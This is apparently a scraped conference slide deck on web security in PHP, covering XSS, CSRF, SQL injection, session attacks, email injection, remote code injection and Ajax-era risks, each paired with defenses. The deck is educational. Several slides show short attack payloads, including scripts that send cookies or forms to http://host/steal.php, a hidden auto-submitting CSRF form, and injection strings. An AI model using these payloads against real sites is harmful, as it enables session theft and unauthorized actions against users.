Evolution of Web Security Chris Shiflett @shiflett shiflett.org - - PowerPoint PPT Presentation

evolution of web security
SMART_READER_LITE
LIVE PREVIEW

Evolution of Web Security Chris Shiflett @shiflett shiflett.org - - PowerPoint PPT Presentation

Evolution of Web Security Chris Shiflett @shiflett shiflett.org Web craftsman from Brooklyn, NY, and Who am I? founding member of Analog, a web design & development co-operative. 1. Fundamentals Three Principles Defense in depth


slide-1
SLIDE 1

Evolution of Web Security

Chris Shiflett @shiflett ▪ shiflett.org

slide-2
SLIDE 2

Who am I?

Web craftsman from Brooklyn, NY, and founding member of Analog, a web design & development co-operative.

slide-3
SLIDE 3
  • 1. Fundamentals
slide-4
SLIDE 4

Defense in depth

— Redundant safeguards are valuable.

Least privilege

— Grant as little freedom as possible.

Least complicated

— Complexity breeds mistakes.

Three Principles

slide-5
SLIDE 5

Filter input.

— Ensure data coming in is valid.

Escape output.

— Ensure data going out is not misinterpreted.

Two Practices

slide-6
SLIDE 6

Application Escape Filter

Filter input. Escape output.

slide-7
SLIDE 7

<?php $clean = array(); if (ctype_alpha($_POST['name'])) { $clean['name'] = $_POST['name']; } else { /* Error */ } ?>

slide-8
SLIDE 8

<?php $clean = array(); switch ($_POST['color']) { case 'red': case 'green': case 'blue': $clean['color'] = $_POST['color']; break; default: /* Error */ break; } ?>

slide-9
SLIDE 9

<?php $clean = array(); $colors = array('red', 'green', 'blue'); if (in_array($_POST['color'], $colors)) { $clean['color'] = $_POST['color']; } else { /* Error */ } ?>

slide-10
SLIDE 10

<?php $clean = array(); $colors = array(); $colors['red'] = ''; $colors['green'] = ''; $colors['blue'] = ''; if (isset($colors[$_POST['color']])) { $clean['color'] = $_POST['color']; } else { /* Error */ } ?>

slide-11
SLIDE 11

<?php $clean = array(); if (preg_match('/^\d{5}$/', $_POST['zip'])) { $clean['zip'] = $_POST['zip']; } else { /* Error */ } ?>

slide-12
SLIDE 12

<?php /* Content-Type: text/html; charset=UTF-8' */ $html = array(); $html['user'] = htmlentities($clean['user'], ENT_QUOTES, 'UTF-8'); echo "<p>Welcome, {$html['user']}.</p>"; ?>

slide-13
SLIDE 13
slide-14
SLIDE 14

Cross-Site Scripting Cross-Site Request Forgeries SQL Injection Session Fixation Session Hijacking Email Injection Remote Code Injection

Exploits

slide-15
SLIDE 15

Victim Attacker

Cross-Site Scripting

Target XSS HTML XSS 1 2

slide-16
SLIDE 16

echo $_GET['user']; http://host/foo.php?user=%3Cscript%3E… echo '<script>…';

slide-17
SLIDE 17

<script> document.location = 'http://host/steal.php?cookies=' + encodeURI(document.cookie); </script>

Steal Cookies

slide-18
SLIDE 18

<script> document.forms[0].action = 'http://host/steal.php'; </script>

Steal Passwords

slide-19
SLIDE 19

<form name="steal" action="http://host/steal.php"> <input type="text" name="username" style="display: none" /> <input type="password" name="password" style="display: none" /> <input type="image" src="image.png" /> </form>

Steal Saved Passwords

slide-20
SLIDE 20

<script src="http://host/evil.js"></script>

Short & Simple

slide-21
SLIDE 21

$string = "<script>alert('XSS');</script>"; $string = mb_convert_encoding($string, 'UTF-7'); echo htmlentities($string);

Character Encoding

Google XSS Example

http://shiflett.org/blog/2005/dec/google-xss-example

slide-22
SLIDE 22

FIEO. Use valid HTML.

— http://validator.w3.org/

Use existing solutions.

— PHP developers, use htmlentities() or htmlspecialchars(). — Make sure you indicate the character encoding!

Need to allow HTML?

— Use HTML Purifier, even if you’re not using PHP: http://htmlpurifier.org/

Stop It!

slide-23
SLIDE 23

Target Attacker

Cross-Site Request Forgeries

Victim ? CSRF 1 2

slide-24
SLIDE 24

Because the attack is carried out by the victim, CSRF can bypass:

— HTTP auth — Session-based auth — Firewalls — &c.

CSRF

slide-25
SLIDE 25

Buy <form action="buy.php" method="post"> <input type="hidden" name="isbn" value="059600656X" /> <input type="submit" value="Buy" /> </form> POST /buy.php HTTP/1.1 Host: host Cookie: PHPSESSID=1234 Content-Type: application/x-www-form-urlencoded Content-Length: 15 isbn=059600656X

slide-26
SLIDE 26

Forging GET

GET /buy.php?isbn=059600656X HTTP/1.1 Host: host Cookie: PHPSESSID=1234 <img src="http://host/buy.php?isbn=059600656X" />

slide-27
SLIDE 27

<iframe style="visibility: hidden" name="secret"></iframe> <form name="buy" action="http://host/buy.php" method="post" target="secret"> <input type="hidden" name="isbn" value="059600656X" /> </form> <script type="text/javascript">document.buy.submit();</script>

Forging POST

POST /buy.php HTTP/1.1 Host: host Cookie: PHPSESSID=1234 Content-Type: application/x-www-form-urlencoded Content-Length: 15 isbn=059600656X

slide-28
SLIDE 28

Digg (Fixed)

http://4diggers.blogspot.com/

Amazon (Fixed?)

http://shiflett.org/amazon.php

CSRF Exploits

slide-29
SLIDE 29

<script> new Image().src = 'http://host/steal.php?cookies=' + encodeURI(document.cookie); </script>

Steal Cookies (Improved)

slide-30
SLIDE 30

$token = md5(uniqid(rand(), TRUE)); $_SESSION['token'] = $token; $html['token'] = htmlentities($token, ENT_QUOTES, 'UTF-8');

Stop It!

<input type="hidden" name="token" value="<?php echo $html['token']; ?>" />

slide-31
SLIDE 31

Database Attacker

SQL Injection

Target SQL SQL SQL 1 2

slide-32
SLIDE 32

SELECT count(*) FROM users WHERE username = '{$_POST['username']}' AND password = '…' chris' /* SELECT count(*) FROM users WHERE username = 'chris' /*' AND password = '…'

slide-33
SLIDE 33

FIEO. Use prepared statements.

— PHP developers, use PDO.

Stop It!

addslashes() Versus mysql_real_escape_string()

http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

slide-34
SLIDE 34

http://host/login.php?PHPSESSID=1234

Session Fixation

slide-35
SLIDE 35

Regenerate the session identifier.

— PHP developers, session_regenerate_id(TRUE).

Do this whenever the privilege level changes.

Stop It!

slide-36
SLIDE 36

Attacker impersonates a victim. In PHP, by default, only requires a valid session identifier. Session identifier obtained using:

— Prediction — Capture — Fixation

Session Hijacking

slide-37
SLIDE 37

Understand how sessions work. Minimize session identifier exposure.

— SSL — Separate domain for embedded resources

Trending

— https://panopticlick.eff.org/ — More on this later…

Stop It!

slide-38
SLIDE 38

fake@example.org\r\nBcc: victim@example.org\r\nBcc: … To: chris@example.org Subject: Feedback From: fake@example.org Bcc: victim@example.org Bcc: …

Email Injection

mail('chris@example.org', 'Feedback', '...', "From: {$_POST['email']}");

slide-39
SLIDE 39

FIEO.

— http://iamcal.com/publish/articles/php/parsing_email — PHP developers, use ctype_print() as defense in depth.

Stop It!

slide-40
SLIDE 40

Target Attacker

Remote Code Injection

slide-41
SLIDE 41

include "{$_COOKIE['type']}.php"; Cookie: type=http://host/inject.inc? include "http://host/inject.inc?.php";

slide-42
SLIDE 42

This example exploits allow_url_fopen. PHP 5 has allow_url_include.

— By default, allow_url_include is disabled.

Remote Code Injection

slide-43
SLIDE 43

include "php://input"; POST /script.php?type=php://input%00 HTTP/1.1 Host: host Content-Type: application/x-www-form-urlencoded Content-Length: ? ? include "{$_GET['type']}.php";

slide-44
SLIDE 44

FIEO.

— If at all possible, use a white list.

Stop It!

slide-45
SLIDE 45
  • 2. Emerging Trends
slide-46
SLIDE 46

Ajax

“The name is shorthand for Asynchronous JavaScript + XML, and it represents a fundamental shift in what’s possible on the Web.” — Jesse James Garrett

slide-47
SLIDE 47

Ajax

“Client-side techniques & technologies that allow two-way communication between the client and the server without reloading the page.”

slide-48
SLIDE 48

Target Victim JS

  • 1. XMLHttpRequest
  • 2. HTML form + victim’s token
  • 3. XMLHttpRequest + victim’s token

Cross-Domain Ajax

slide-49
SLIDE 49

Target Victim

XSS + Ajax + CSRF

XSS

  • 1. XMLHttpRequest
  • 2. HTML form + victim’s token
  • 3. XMLHttpRequest + victim’s token
slide-50
SLIDE 50

XSS is a perfect platform for CSRF. CSRF attacks can exploit XSS vulnerabilities. Victims can become attackers.

  • Rinse. Repeat.

Worms

slide-51
SLIDE 51

Browser Hijacking

http://shiflett.org/blog/2006/oct/using-csrf-for-browser-hijacking

Myspace CSRF and XSS Worm (Samy)

http://shiflett.org/blog/2005/oct/myspace-csrf-and-xss-worm-samy

slide-52
SLIDE 52

<cross-domain-policy> <allow-access-from domain="*"/> </cross-domain-policy>

Cross-Domain Ajax

Thanks, Flash!

slide-53
SLIDE 53

Cross-Domain Ajax

domain="*" API domain Vulnerable? No yahoo.com No No youtube.com No Yes api.flickr.com No Yes No adobe.com Yes No

slide-54
SLIDE 54

Target Attacker

JavaScript Hijacking

Victim ? CSRF 1 2 3 4

slide-55
SLIDE 55

<script src="http://host/json.php"></script> [{"email": "chris@shiflett.org"}]

JavaScript Hijacking Demo

http://mochikit.com/fortify_fud/

slide-56
SLIDE 56

JavaScript Hijacking

“If you audit your application for CSRF flaws, you’ve defeated this attack. Moreover, the well-known, pre-existing exploits for CSRF are actually worse than this attack.” — Thomas Ptacek

slide-57
SLIDE 57
  • 3. Ideas for the Future
slide-58
SLIDE 58

Panopticlick

https://panopticlick.eff.org/

Trending

“When you visit a web site, you are allowing that site to access a lot of information about your computer’s

  • configuration. Combined, this information

can create a kind of fingerprint — a signature that could be used to identify you and your computer.”

slide-59
SLIDE 59

Trending

“Not the intent, but Panopticlick from @eff would be useful for preventing session hijacking.”

— http://twitter.com/shiflett/status/8562663352

slide-60
SLIDE 60

Establish trends to help detect anomalies. Trends can be based on identity or behavior. Trending is imperfect; use as defense in depth.

Trending

slide-61
SLIDE 61

Slides

http://shiflett.org/evolution-of-web-security.pdf http://slideshare.net/shiflett

slide-62
SLIDE 62

Follow me on Twitter.

— @shiflett

Comment on my blog.

— shiflett.org

Email me.

— chris@shiflett.org

Work with me.

— analog.coop

Feedback?